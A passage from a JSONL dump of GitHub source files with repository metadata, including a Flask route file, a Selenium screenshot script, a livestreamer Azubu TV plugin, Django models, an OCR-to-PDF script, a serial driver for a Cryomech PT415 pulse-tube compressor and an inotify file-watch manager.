write_output(msg_lst)\n","repo_name":"goldh0rse/sommartorpet-stats","sub_path":"src/fetch_convo_data.py","file_name":"fetch_convo_data.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"33398826069","text":"from flask import Blueprint\n\nfrom .controllers import (VanDetails, VanPagina)\n\nvan_api = Blueprint('van_api', __name__) # armazena as rotas\n\nvan_api.add_url_rule(\n    '/van/', view_func=VanDetails.as_view('van_details'), methods=['GET', 'POST']\n)\n\nvan_api.add_url_rule(\n    '/van/<int:id>', view_func=VanPagina.as_view('van_pagina'), methods=['GET', 'PATCH', 'DELETE']\n)","repo_name":"PatrickTrindade/PAME-Entrega06","sub_path":"app/van/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1987991967","text":"import sys\nimport io\nfrom selenium import webdriver\n\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding = 'utf-8')\nsys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding = 'utf-8')\n\ndriver = webdriver.PhantomJS('D:/Python/Crawling/Section3/webdriver/phantomjs/phantomjs')\n\ndriver.implicitly_wait(5)\n# 암묵적으로 5초를 대기하겠다는 뜻. get으로 받기 전에 모듈 실행하면 에러가 나기 때문..\n\ndriver.get('https://google.com')  # 드라이버가 웹브라우져 역할을 해줌.\ndriver.save_screenshot(\"c:/website1.png\")\n\ndriver.implicitly_wait(5)\n\ndriver.get('https://www.daum.net')\ndriver.save_screenshot(\"c:/website2.png\")\n\ndriver.quit()\nprint('스크린샷 완료')\n","repo_name":"ifyshine/Section3","sub_path":"3-6-1.py","file_name":"3-6-1.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2374313673","text":"import re\n\nfrom io import BytesIO\nfrom time import sleep\n\nfrom livestreamer.exceptions import PluginError\nfrom livestreamer.packages.flashmedia import AMFPacket, AMFMessage\nfrom livestreamer.packages.flashmedia.types import AMF3ObjectBase\nfrom livestreamer.plugin import Plugin\nfrom livestreamer.plugin.api import http, validate\nfrom livestreamer.stream import AkamaiHDStream\n\nAMF_GATEWAY = \"http://c.brightcove.com/services/messagebroker/amf\"\nAMF_MESSAGE_PREFIX = \"af6b88c640c8d7b4cc75d22f7082ad95603bc627\"\nSTREAM_NAMES = [\"360p\", \"480p\", \"720p\", \"source\"]\nHTTP_HEADERS = {\n    \"User-Agent\": (\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \"\n                   \"(KHTML, like Gecko) Chrome/36.0.1944.9 Safari/537.36\")\n}\n\n_url_re = re.compile(\"http(s)?://(\\w+\\.)?azubu.tv/(?P<domain>\\w+)\")\nCHANNEL_INFO_URL = \"http://api.azubu.tv/public/channel/%s/player\"\n\n_viewerexp_schema = validate.Schema(\n    validate.attr({\n        \"programmedContent\": {\n            \"videoPlayer\": validate.attr({\n                \"mediaDTO\": validate.attr({\n                    \"renditions\": {\n                        int: validate.attr({\n                            \"encodingRate\": int,\n                            \"defaultURL\": validate.text\n                        })\n                    }\n                })\n            })\n        }\n    })\n)\n\n\n@AMF3ObjectBase.register(\"com.brightcove.experience.ViewerExperienceRequest\")\nclass ViewerExperienceRequest(AMF3ObjectBase):\n    __members__ = [\"contentOverrides\",\n                   \"experienceId\",\n                   \"URL\",\n                   \"playerKey\",\n                   \"deliveryType\",\n                   \"TTLToken\"]\n\n    def __init__(self, URL, contentOverrides, experienceId, playerKey, TTLToken=\"\"):\n        self.URL = URL\n        self.deliveryType = float(\"nan\")\n        self.contentOverrides = contentOverrides\n        self.experienceId = experienceId\n        self.playerKey = playerKey\n        self.TTLToken = TTLToken\n\n\n@AMF3ObjectBase.register(\"com.brightcove.experience.ContentOverride\")\nclass ContentOverride(AMF3ObjectBase):\n    __members__ = [\"featuredRefId\",\n                   \"contentRefIds\",\n                   \"contentId\",\n                   \"contentType\",\n                   \"contentIds\",\n                   \"featuredId\",\n                   \"contentRefId\",\n                   \"target\"]\n\n    def __init__(self, contentId=float(\"nan\"), contentRefId=None, contentType=0,\n                 target=\"videoPlayer\"):\n        self.contentType = contentType\n        self.contentId = contentId\n        self.target = target\n        self.contentIds = None\n        self.contentRefId = contentRefId\n        self.contentRefIds = None\n        self.contentType = 0\n        self.featuredId = float(\"nan\")\n        self.featuredRefId = None\n\n\nclass AzubuTV(Plugin):\n    @classmethod\n    def can_handle_url(cls, url):\n        return _url_re.match(url)\n\n    @classmethod\n    def stream_weight(cls, stream):\n        if stream == \"source\":\n            weight = 1080\n        else:\n            weight, group = Plugin.stream_weight(stream)\n\n        return weight, \"azubutv\"\n\n    def _create_amf_request(self, key, video_player, player_id):\n        if video_player.startswith(\"ref:\"):\n            content_override = ContentOverride(contentRefId=video_player[4:])\n        else:\n            content_override = ContentOverride(contentId=int(video_player))\n        viewer_exp_req = ViewerExperienceRequest(self.url,\n                                                [content_override],\n                                                int(player_id), key)\n\n        req = AMFPacket(version=3)\n        req.messages.append(AMFMessage(\n            \"com.brightcove.experience.ExperienceRuntimeFacade.getDataForExperience\",\n            \"/1\",\n            [AMF_MESSAGE_PREFIX, viewer_exp_req]\n        ))\n\n        return req\n\n    def _send_amf_request(self, req, key):\n        headers = {\n            \"content-type\": \"application/x-amf\"\n        }\n        res = http.post(AMF_GATEWAY, data=bytes(req.serialize()),\n                        headers=headers, params=dict(playerKey=key))\n\n        return AMFPacket.deserialize(BytesIO(res.content))\n\n    def _get_player_params(self, retries=5):\n        match = _url_re.match(self.url);\n        domain = match.group('domain');\n        try:\n            res = http.get(CHANNEL_INFO_URL % str(domain))\n        except PluginError as err:\n            # The server sometimes gives us 404 for no reason\n            if \"404\" in str(err) and retries:\n                sleep(1)\n                return self._get_player_params(retries - 1)\n            else:\n                raise\n        channel_info = http.json(res)\n        channel_info = channel_info['data']\n\n        key = channel_info['player_key'];\n\n        is_live = channel_info['is_live'];\n\n        stream_video = channel_info['stream_video']\n        if stream_video:\n            video_player = \"ref:\" + stream_video['reference_id']\n        else:\n            is_live = False\n            video_player = None\n\n        player_id = channel_info['player_id']\n\n        return key, video_player, player_id, is_live\n\n    def _parse_result(self, res):\n        res = _viewerexp_schema.validate(res)\n        player = res.programmedContent[\"videoPlayer\"]\n        renditions = sorted(player.mediaDTO.renditions.values(),\n                            key=lambda r: r.encodingRate or 100000000)\n\n        streams = {}\n        for stream_name, rendition in zip(STREAM_NAMES, renditions):\n            stream = AkamaiHDStream(self.session, rendition.defaultURL)\n            streams[stream_name] = stream\n\n        return streams\n\n    def _get_streams(self):\n        key, video_player, player_id, is_live = self._get_player_params()\n\n        if not is_live:\n            return\n\n        req = self._create_amf_request(key, video_player, player_id)\n        res = self._send_amf_request(req, key)\n\n        streams = {}\n        for message in res.messages:\n            if message.target_uri == \"/1/onResult\":\n                streams = self._parse_result(message.value)\n\n        return streams\n\n__plugin__ = AzubuTV\n","repo_name":"chrippa/livestreamer","sub_path":"src/livestreamer/plugins/azubutv.py","file_name":"azubutv.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","stars":3878,"dataset":"github-code","pt":"51"}
+{"seq_id":"13927955091","text":"from django.db import models\nfrom django.utils import timezone\n\n\nclass Project(models.Model):\n    name = models.CharField(max_length=100, unique=True)\n    space = models.ForeignKey(\"spaces.Space\", on_delete=models.CASCADE)\n    # lead = models.OneToOneField(\"fehler_auth.User\", on_delete=models.CASCADE)\n    description = models.TextField(blank=True, null=True)\n    members = models.ManyToManyField(\n        \"fehler_auth.User\",\n        through=\"ProjectMembership\",\n        related_name=\"project_members\",\n    )\n    is_active = models.BooleanField(default=True)\n    date_created = models.DateTimeField(default=timezone.now)\n\n    def __str__(self):\n        return self.name\n\n    def get_tasks(self):\n        return self.task_set.all()\n\n    def get_members(self):\n        return self.members.all()\n\n\nclass ProjectMembership(models.Model):\n    project = models.ForeignKey(Project, on_delete=models.CASCADE)\n    user = models.ForeignKey(\"fehler_auth.User\", on_delete=models.CASCADE)\n    date_joined = models.DateTimeField(default=timezone.now)\n\n    def __str__(self):\n        return self.user.email\n\n\nclass Risk(models.Model):\n\n    IMPACT = (\n        (\"VL\", \"Very Low\"),\n        (\"L\", \"Low\"),\n        (\"M\", \"Medium\"),\n        (\"H\", \"High\"),\n        (\"VH\", \"Very High\"),\n    )\n\n    PROBABILITY = (\n        (\"VL\", \"Very Low\"),\n        (\"L\", \"Low\"),\n        (\"M\", \"Medium\"),\n        (\"H\", \"High\"),\n        (\"VH\", \"Very High\"),\n    )\n\n    name = models.CharField(max_length=120)\n    project = models.ForeignKey(Project, on_delete=models.CASCADE)\n    description = models.TextField(blank=True, null=True)\n    mitigation_action = models.TextField(blank=True, null=True)\n    impact = models.CharField(max_length=2, choices=IMPACT, blank=False)\n    probability = models.CharField(max_length=2, choices=PROBABILITY, blank=False)\n    owner = models.ForeignKey(\n        \"fehler_auth.User\",\n        null=True,\n        on_delete=models.SET_NULL,\n        related_name=\"risk_owner\",\n    )\n    reporter = models.ForeignKey(\n        \"fehler_auth.User\",\n        null=True,\n        on_delete=models.SET_NULL,\n        related_name=\"risk_reporter\",\n    )\n    date_created = models.DateTimeField(default=timezone.now)\n\n    def __str__(self):\n        return self.name\n\n    # @property\n    # def severity(self):\n","repo_name":"givek/fehler_core","sub_path":"projects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"39011777421","text":"import enum\nimport pytesseract\nfrom pdf2image import convert_from_path\nfrom PIL import Image\nfrom PyPDF2 import PdfMerger\n\ndef ocr_func(fileName):\n    # Input filename\n    file = \"/mnt/usershare/Needs Subcollection/\" + fileName + \".pdf\"\n\n\n    # Get the file name without extension to use for output file\n    # ex: ./Page.png turns to Page\n    fileName = file.rsplit('/',1)[-1]\n    fileName = fileName.rsplit('.',1)[0]\n    # print(fileName)\n\n    # PIL Converter\n    PIL_objects = convert_from_path(file)\n\n    # Initiates merger\n    merger = PdfMerger()\n    \n    pdfs = []\n\n    print(\"About to do Tesseract\")\n    # Tesseract OCRs each image and converts it to a pdf\n    # Each pdf is appended to a list\n    for i, page in enumerate(PIL_objects):\n        pdf = pytesseract.image_to_pdf_or_hocr(PIL_objects[i], extension='pdf')\n        pdfs.append(pdf)\n    print(\"Merging files into one pdf\")\n    # Merges each PDF from the list into one PDF\n    for page in pdfs:\n        with open(f'{fileName}-Page.pdf', 'w+b') as f:\n            f.write(page)\n            merger.append(f)\n        \n    # Output file\n    merger.write(\"/mnt/usershare/Needs Subcollection/\" + fileName + \"-OCR.pdf\")\n    merger.close()\n\n        \n    print(\"pdf done!!\")\n\nocr_func(\"Name of File\")\n","repo_name":"sophiedmcintyre/HEA-OCR","sub_path":"OCR_PDF.py","file_name":"OCR_PDF.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41981341010","text":"from typing import List\n\ndef fibonacci(num: int) -> List[int]:\n    if num <= 0:\n        return []\n    elif num == 1:\n        return [0]\n    elif num == 2:\n        return [0, 1]\n    \n    sequence = [0, 1]\n    while len(sequence) < num:\n        next_number = sequence[-1] + sequence[-2]\n        sequence.append(next_number)\n    \n    return sequence\n","repo_name":"murrlincoln/SWE-AI-Mini-Research","sub_path":"test_data/generated/gpt-3.5/19/01/prompt_only.py","file_name":"prompt_only.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"6635916461","text":"\"\"\"\nCode used to interact with the pt415 pulse-tube cooler via a serial port.\n\nTo query the pt415, invoke the following:\n>>> import pt415_reader\n>>> pt415_status = pt415_reader.readPT415Status()\n\nThis module is laid out as follows:\n    Exception(s)\n    The PT415DictEntry class, which formats inquiries to the pt415 dictionary via\npredefined hash codes, and parses the pt415's replies.\n    pt415_fields, a list of pt415 hash codes of interest.\n    readPT415Status, a function which uses a socket connection to the pt415 to\nread out information from all of the pt415_fields.\n\nReferences:\n   data_doc.pdf\n\"CP2800 Data Dictionary + Serial Communication Supplement\"\nLists hash codes and contents.\n\n   Sycon Multi Drop Protocol II.pdf\n\"Sycon Multi Drop Protocol\n DOC VERSION 1.5\n 2008-10-09\"\nDefines the communications protocol with the pt415.\n\nStephen Hoover, 18 Jan 2012\n\"\"\"\n\n\nimport serial\nimport struct\nimport sys\nimport time\n\nimport numpy as np\n\ncom_port = 'COM1'\nbaudrate = 115200\n\n# PySerial no longer has a read until method, so need to make our own\ndef read_until(ser, term=0x0D, timeout=2):\n    if type(term) != int:\n        term = ord(term)\n    response = bytearray()\n    next_byte = b'\\x00'\n    start = time.time()\n    while ord(next_byte) != term:\n        next_byte = ser.read(1)\n        if next_byte != b'':\n            response.append(ord(next_byte))\n        if time.time() - start > 2.0:\n            raise Exception(\"Serial read timed out\")\n        \n    return response\n\n\n# Bytes which have special significance in communicating with the pt415.\n# See \"Sycon Multi Drop Protocol, DOC VERSION 1.5, 2008-10-09\"\npt415_bytes  = {'STX':0x02, # Start text\n                'PT415_ADDR':0x10, # Address of pt415\n                'CR':0x0D, # Carriage Return\n                'DATA_READ':0x63,\n                'DATA_WRITE':0x61,\n                'CMD':0x80,  # This is the CMD for the pt415 protocol implementation\n                'CMD_OK':0x89 # This is returned if the CMD was understood and data filled.\n                }\n\n####################################################################\n####################################################################\nclass PT415Error(IOError):\n    \"\"\"\n    An exception which signifies an error in communications with the pt415.\n    \"\"\"\n    def __init__(self, *args, **kwds):\n        super(PT415Error,self).__init__(*args, **kwds)\n\n####################################################################\n####################################################################\nclass PT415DictEntry:\n    \"\"\"\n    Knows how to communicate with the pt415, using the\n    Sycon Multi-Drop Protocol (SMDP) as defined in the document\n    \"Sycon Multi Drop Protocol, DOC VERSION 1.5, 2008-10-09\".\n\n    The pt415 stores data in a dictionary, addressed by preset hash codes.\n    The PT415DictEntry object stores one hash code. It can form a\n    string which interrogates the pt415 about the value of that particular\n    hash code, and can understand the response.\n    \"\"\"\n\n    ####################################################################\n    @staticmethod\n    def getChecksumBytes(byte_list):\n        \"\"\" \n        Calculates the checksums which go into the communicatons string.\n        Assume that the input byte list contains all the bytes which\n        go into the checksum, and no extra bytes.\n\n        Defined in the SMDP.\n\n        INPUTS\n            byte_list: A list of bytes or a string.\n\n        OUTPUT\n            A tuple of the two checksum bytes used by the SMDP, created by\n            summing together every byte in the input.\n        \"\"\"\n        cksum = sum([b for b in bytearray(byte_list)])\n        check_byte1 = ((cksum & 0xF0) >> 4) + 0x30\n        check_byte2 = (cksum & 0x0F) + 0x30\n\n        return bytearray([check_byte1, check_byte2])\n\n    ####################################################################\n    @staticmethod\n    def stuffEscapeChars(byte_list):\n        \"\"\"\n        Do some byte stuffing as specified in the Sycon Multi-Drop Protocol.\n        The characters 0x02, 0x0D, and 0x07 are reserved.\n        The SMDP states that:\n        0x02 -> 0x07 0x30\n        0x0D -> 0x07 0x31\n        0x07 -> 0x07 0x32\n\n        INPUTS\n            byte_list: May be either a list of bytes or a string.\n\n        OUTPUT\n            A list of bytes, in which reserved characters in the input byte_list\n            have been translated to an escape character followed by another character.\n        \"\"\"\n        stuffed_list = bytearray()\n        for byte in bytearray(byte_list):\n            if byte == 0x02:\n                stuffed_list.append(0x07)\n                stuffed_list.append(0x30)\n            elif byte == 0x0D:\n                stuffed_list.append(0x07)\n                stuffed_list.append(0x31)\n            elif byte == 0x07:\n                stuffed_list.append(0x07)\n                stuffed_list.append(0x32)\n            else:\n                stuffed_list.append(byte)\n\n        return stuffed_list\n    \n    ####################################################################\n    @staticmethod\n    def destuffEscapeChars(byte_list):\n        \"\"\"\n        Takes a string transformed by the function \"stuffEscapeChars\" and \n        returns it to its original form.\n\n        INPUTS\n            _bytes: May be anything handled in by \"convertByteList\", including\n                a list of bytes or a string.\n\n        OUTPUT\n            A string containing the information in the input \"_bytes\", with\n            escaped characters returned to their original, non-escaped versions.\n        \"\"\"\n        # First, make sure that we have the input in terms of a string.\n        stuffed_bytes = bytearray(byte_list)\n        # Replace the escape sequences with the characters they represent.\n        destuffed_list = stuffed_bytes.replace(b'\\x07\\x30', b'\\x02').replace(b'\\x07\\x31',b'\\x0D').replace(b'\\x07\\x32',b'\\x07')\n        return destuffed_list\n            \n\n    ####################################################################\n    def __init__(self, _id, code, units=\"\", increment=0.1, \n                 data_type=float, default_value=0, permission='read'):\n        \"\"\"\n        INPUTS\n            _id: (string) The name of this data type.\n\n            hash_bytes: Should be a list containing two bytes. This\n                tells the pt415 which data we're addressing.\n\n            index: A single byte, denoting the index of this value\n                in the pt415's data output.\n\n            units [\"\"]: (string) The units of the data (e.g., Amperes, Kelvin).\n\n            increment [0.1]: (float) Multiply the pt415's data value by\n                this number to obtain the value of the data in \"units\".\n\n            data_type [float]: The data type - usually float, but sometimes bool.\n\n            default_value [0]: Default value returned for this dictionary entry,\n                if the data read fails.\n        \"\"\"\n        self.id = _id\n        self.code = code\n        self.units = units\n        self.data_type = data_type\n        self.increment = self.data_type(increment)\n        self.default_value = self.data_type(default_value)\n\n        # Can we read from this dictionary entry?\n        self.permission = permission\n\n\n    ####################################################################\n    def getReadRequest(self, verbose=False):\n        \"\"\"\n        Assembles the string of bytes that tell the pt415 to send information\n        on the data in this dictionary entry.\n        \"\"\"\n        if self.permission != 'read':\n            raise PT415Error((-10,\"Cannot read from pt415 dictionary entry \"+self.id+\".\"))\n\n        # Assemble the data read request, minus the start byte\n        read_request = bytearray([pt415_bytes['PT415_ADDR'],pt415_bytes['CMD'],pt415_bytes['DATA_READ']]+self.code)\n\n        # Calculate the checksum for this read request.\n        check_bytes = self.getChecksumBytes(read_request)\n\n        if verbose: print('check_byte1: %d, check_byte2: %d'%check_bytes)\n\n        # Escape out the stuff that needs it\n        read_request = self.stuffEscapeChars(read_request)\n\n        # Append the two check bytes.\n        read_request += check_bytes\n\n        # Close the read request with a carraige return.\n        read_request.append(pt415_bytes['CR'])\n\n        # Prepend the list with the start packet byte\n        read_request.insert(0, pt415_bytes['STX'])\n\n        if verbose: print(read_request)\n        return read_request\n\n    def getWriteRequest(self, verbose=False):\n        \"\"\"\n        Assembles the string of bytes that tell the pt415 to send information\n        on the data in this dictionary entry.\n        \"\"\"\n        if self.permission != 'write':\n            raise PT415Error((-10,\"Cannot write to pt415 dictionary entry \"+self.id+\".\"))\n\n        #Pack the single integer into a list of four bytes in big-endian order\n        packed_data = list(np.array([self.default_value], dtype='>i').view('uint8'))\n\n        # Assemble the data read request, minus the start byte\n        write_request = bytearray([pt415_bytes['PT415_ADDR'],pt415_bytes['CMD'],pt415_bytes['DATA_WRITE']]+self.code+packed_data)\n\n        # Calculate the checksum for this read request.\n        check_bytes = self.getChecksumBytes(write_request)\n\n        if verbose: print('check_byte1: %d, check_byte2: %d'%check_bytes)\n\n        # Escape out the stuff that needs it\n        write_request = self.stuffEscapeChars(write_request)\n\n        # Append the two check bytes.\n        write_request += check_bytes\n\n        # Close the read request with a carraige return.\n        write_request.append(pt415_bytes['CR'])\n\n        # Prepend the list with the start packet byte\n        write_request.insert(0, pt415_bytes['STX'])\n\n        if verbose: print(write_request)\n        return write_request\n\n    ####################################################################\n    def parseOutput(self, output_array):\n        \"\"\"\n        Parses an output string from the pt415, assuming that it's a response\n        to a query for the dictionary entry represented by this hash.\n\n        The pt415 only sends a return value in response to a data read request,\n        so we will never get an output string after a write.\n\n        This function performs several checks to make sure that the string\n        it receives has the expected form. It will raise a PT415Error exception if\n        it sees anything that looks wrong.\n        \"\"\"\n        # First, verify that the bytearray we received has the correct form.\n        if (output_array[0]!=pt415_bytes['STX'] or\n            output_array[-1]!=pt415_bytes['CR'] or\n            output_array[3]!=pt415_bytes['DATA_READ']):\n            raise PT415Error((-1, \"Invalid return data (\"+output_array+\").\"))\n\n        # Verify the device address.\n        if output_array[1]!=pt415_bytes['PT415_ADDR']:\n            raise PT415Error((-2, \"Unexpected pt415 address (\"+repr(output_array[1])+\").\"))\n\n        # Examine the \"command received\" byte to see if the pt415 itself\n        # has indicated an error with the data read.\n        if output_array[2]!=pt415_bytes['CMD_OK']:\n            raise PT415Error(( bytearray(output_array[2])[0] & 0x07, \"Command error!\"))\n\n        # Compute the check bytes and compare to the check bytes in the received string. \n        destuffed_array = self.destuffEscapeChars(output_array[1:-3])\n        check_bytes = self.getChecksumBytes(destuffed_array)\n        if check_bytes != output_array[-3:-1]:\n            raise PT415Error((-4, \"Invalid checksum!\"))\n\n        # Look at the echo of the dictionary location to make sure\n        # that we're getting the correct dictionary entry.\n        if destuffed_array[3:3+len(self.code)]!=bytearray(self.code):\n            raise PT415Error((-3, \"This output string (\"+repr(output_array)+\n                               \") is for a different command!\"))\n\n        # Pull out the data. The data should be a 4-byte, big-endian long integer.\n        # The call to struct.unpack will complain if the size is wrong.\n        data_bytes = self.destuffEscapeChars(output_array)[4+len(self.code):-3]\n        data = self.increment*self.data_type(struct.unpack(\">l\",data_bytes)[0])\n        data = self.data_type(data) # Mostly used when data_type is bool. Can't hurt other data_types.\n\n        return data\n####################################################################\n####################################################################\n\n# Hash values for accessing the pt415's data dictionary.\n# This list will be converted to a dictionary immediately\n# after we finish defining it.\npt415_fields = [PT415DictEntry('cpu_temp',[0x35,0x74,0x00],\"Celcius\",0.1),\n                PT415DictEntry('compressor_hours',[0x45,0x4C,0x00],\"Hours\",1./60),\n                PT415DictEntry('motor_current',[0x63,0x8B,0x00],'Amps',1.),\n\n                # Temperatures\n                PT415DictEntry('temp_water_in',[0x0D,0x8F,0x00],\"Celcius\",0.1),\n                PT415DictEntry('temp_water_out',[0x0D,0x8F,0x01],\"Celcius\",0.1),\n                PT415DictEntry('temp_helium',[0x0D,0x8F,0x02],\"Celcius\",0.1),\n                PT415DictEntry('temp_oil',[0x0D,0x8F,0x03],\"Celcius\",0.1),\n                PT415DictEntry('min_temp_water_in',[0x6E,0x58,0x00],\"Celcius\",0.1),\n                PT415DictEntry('min_temp_water_out',[0x6E,0x58,0x01],\"Celcius\",0.1),\n                PT415DictEntry('min_temp_helium',[0x6E,0x58,0x02],\"Celcius\",0.1),\n                PT415DictEntry('min_temp_oil',[0x6E,0x58,0x03],\"Celcius\",0.1),\n                PT415DictEntry('max_temp_water_in',[0x8A,0x1C,0x00],\"Celcius\",0.1),\n                PT415DictEntry('max_temp_water_out',[0x8A,0x1C,0x01],\"Celcius\",0.1),\n                PT415DictEntry('max_temp_helium',[0x8A,0x1C,0x02],\"Celcius\",0.1),\n                PT415DictEntry('max_temp_oil',[0x8A,0x1C,0x03],\"Celcius\",0.1),\n                PT415DictEntry('temp_error',[0x6E,0x2D,0x00],data_type=bool),\n\n                # Pressures\n                # PSIA=Pounds per Square Inch (Absolute)-i.e., includes atmosphereic pressure.\n                # 1 psi approximately equals 6,894.757 Pa\n                PT415DictEntry('pressure_high_side',[0xAA,0x50,0x00],\"PSIA\",0.1),\n                PT415DictEntry('pressure_low_side',[0xAA,0x50,0x01],\"PSIA\",0.1),\n                PT415DictEntry('min_pressure_high_side',[0x5E,0x0B,0x00],\"PSIA\",0.1),\n                PT415DictEntry('min_pressure_low_side',[0x5E,0x0B,0x01],\"PSIA\",0.1),\n                PT415DictEntry('max_pressure_high_side',[0x7A,0x62,0x00],\"PSIA\",0.1),\n                PT415DictEntry('max_pressure_low_side',[0x7A,0x62,0x01],\"PSIA\",0.1),\n                PT415DictEntry('pressure_error',[0xF8,0x2B,0x00],data_type=bool),\n                PT415DictEntry('avg_pressure_low_side',[0xBB,0x94,0x00],\"PSIA\",0.1),\n                PT415DictEntry('avg_pressure_high_side',[0x7E,0x90,0x00],\"PSIA\",0.1),\n                PT415DictEntry('avg_pressure_delta',[0x31,0x9C,0x00],\"PSIA\",0.1),\n                PT415DictEntry('pressure_high_side_deriv',[0x66,0xFA,0x00],\"PSIA\",0.1),\n\n                # Cryo diode temperatures\n                PT415DictEntry('diodes_uv',[0x8E,0xEA,0x00],\"V\",1e-6),\n                PT415DictEntry('diode1_temp',[0x58,0x13,0x00],\"Kelvin\",0.01),\n                PT415DictEntry('diode2_temp',[0x58,0x13,0x01],\"Kelvin\",0.01),\n                PT415DictEntry('diode1_error',[0xD6,0x44,0x00],data_type=bool),\n                PT415DictEntry('diode2_error',[0xD6,0x44,0x01],data_type=bool),\n                PT415DictEntry('diodes_using_custom_cal_curve',[0x99,0x65,0x00],data_type=bool),\n\n                # Compressor control and status\n                PT415DictEntry('compressor_on',[0x5F,0x95,0x00],data_type=bool),\n                PT415DictEntry('error_code',[0x65,0xA4,0x00],data_type=int),\n\n                # Commands to control the compressor\n                PT415DictEntry('turn_on', [0xd5,0x01,0x00], default_value=1, permission='write'),\n                PT415DictEntry('turn_off', [0xc5,0x98,0x00], default_value=0, permission='write'),\n                PT415DictEntry('reset_min_max', [0xd3,0xdb,0x00], default_value=1, permission='write')\n                ]\n\npt415_dict = dict( [(_field.id, _field) \n                          for _field in pt415_fields] )\n\n####################################################################\n\ndef readPT415Status_Serial(port=com_port, baudrate = baudrate, errfile=sys.stderr):\n    \"\"\"\n    Open a socket connection to the pt415 and read out the values of\n    every dictionary entry in the \"pt415_fields\" variable.\n\n    Always return a dictionary filled with values, no matter what happens.\n    If we receive an exception when trying to read from a particular field,\n    that field will receive a default entry in the dictionary.\n\n    INPUTS\n        ip [moxabox_ip]: (string) The IP address of the Moxa box.\n\n        port [pt415_port]: (int) The port of the pt415 on the Moxa box.\n\n        errfile [sys.stderr]: (opened file) Where to send error messages.\n\n    OUTPUT\n        A dictionary containing the status of the pt415. The same dictionary\n        will be returned regardless of any read errors: fields which encounter\n        a read error will be filled with a default value.\n    \"\"\"\n    # Create an empty dict in which to store the pt415 status that we'll read out.\n    # Default to every field being zero.\n    pt415_status = dict( [(_field.id, _field.default_value) \n                          for _field in pt415_fields if _field.permission == 'read'] )\n\n    connection = None\n    try:\n        # Establish a connection to the pt415 via the Moxa box.\n        connection = serial.Serial(port, baudrate, timeout = 2)\n        assert connection.isOpen(), \"Serial port connection error\"\n\n        # Query the pt415 about the value of each field.\n        for _field in pt415_fields:\n            try:\n                # Send the inquiry and get a response.\n                connection.write(_field.getReadRequest())\n                pt415_response = read_until(connection, '\\r', 2)\n                \n            except Exception as err:\n                errfile.write(\"Field \"+_field.id+\": got error \"+str(err)+'.\\n')\n                continue\n\n            try:\n                # Parse the response and store it in the output dictionary.\n                pt415_status[_field.id] = _field.parseOutput(pt415_response)\n            except PT415Error as err:\n                errfile.write(\"Field \"+_field.id+\": got error \"+str(err)+\n                                 \" from response string \"+repr(pt415_response)+\".\\n\")\n                continue\n    except Exception as err:\n        # Don't let an exception crash the function, but do let the\n        # user know that something bad happened.\n        errfile.write(\"Got an unexpected error! \"+str(err)+'\\n')\n    finally:\n        # Make sure to close the socket connection.\n        if connection.isOpen(): connection.close()\n\n    return pt415_status","repo_name":"FaustinCarter/Labber_Drivers","sub_path":"CryoMech_PulseTube/pt415_interface.py","file_name":"pt415_interface.py","file_ext":"py","file_size_in_byte":18832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"20115189159","text":"\"\"\"Inotify manager module.\"\"\"\nfrom collections import defaultdict\n\nfrom inotify_simple import INotify, flags\n\nfrom savant.utils.logging import get_logger\nfrom savant.utils.singleton import SingletonMeta\n\n\nclass INotifyManager(metaclass=SingletonMeta):\n    \"\"\"Singleton facilitates monitoring changes in files from pyfuncs\n    using inotify python bindings package.\n    \"\"\"\n\n    def __init__(self) -> None:\n        self.logger = get_logger(__name__)\n        self.inotify = INotify()\n        self.watch_flags = flags.MODIFY\n\n        self.file_to_watch = {}\n        self.watch_to_file = {}\n        self.subscriber_to_watch = {}\n        self.watch_to_subscribers = defaultdict(list)\n        self.replies = defaultdict(bool)\n\n    def add_watch(self, file_path: str, subscriber: int):\n        \"\"\"Add a watch for the specified file and subscriber.\n\n        :param file_path: which file to watch for changes.\n        :param subscriber: pyfunc's id.\n        \"\"\"\n        if subscriber in self.subscriber_to_watch:\n            watch_descriptor = self.subscriber_to_watch[subscriber]\n            file_path = self.watch_to_file[watch_descriptor]\n            self.logger.debug(\n                '%s: subscriber already watches %s.', subscriber, file_path\n            )\n            return\n\n        if file_path in self.file_to_watch:\n            self.logger.debug('%s: %s is already watched.', subscriber, file_path)\n            watch_descriptor = self.file_to_watch[file_path]\n        else:\n            # watches are supposed to be freed automatically\n            # when the process exits\n            # https://man7.org/linux/man-pages/man7/inotify.7.html\n            watch_descriptor = self.inotify.add_watch(file_path, self.watch_flags)\n            self.file_to_watch[file_path] = watch_descriptor\n            self.watch_to_file[watch_descriptor] = file_path\n            self.logger.debug(\n                '%s: added watch %s for %s.', subscriber, watch_descriptor, file_path\n            )\n\n        self.subscriber_to_watch[subscriber] = watch_descriptor\n        self.watch_to_subscribers[watch_descriptor].append(subscriber)\n\n    def is_changed(self, subscriber: int) -> bool:\n        \"\"\"Check existing watches, return True if the file the subscriber watches\n        has changed since last call.\n\n        :param subscriber: pyfunc's id.\n        :return: True if the watched file has changed, False otherwise.\n        \"\"\"\n        watch_descriptor = self.subscriber_to_watch[subscriber]\n        self.logger.debug(\n            '%s: checking watch %s.',\n            subscriber,\n            watch_descriptor,\n        )\n\n        if self.replies[subscriber]:\n            self.logger.debug(\n                '%s: prev reply %s.', subscriber, self.replies[subscriber]\n            )\n            self.replies[subscriber] = False\n            return True\n\n        for event in self.inotify.read(timeout=0):\n            if 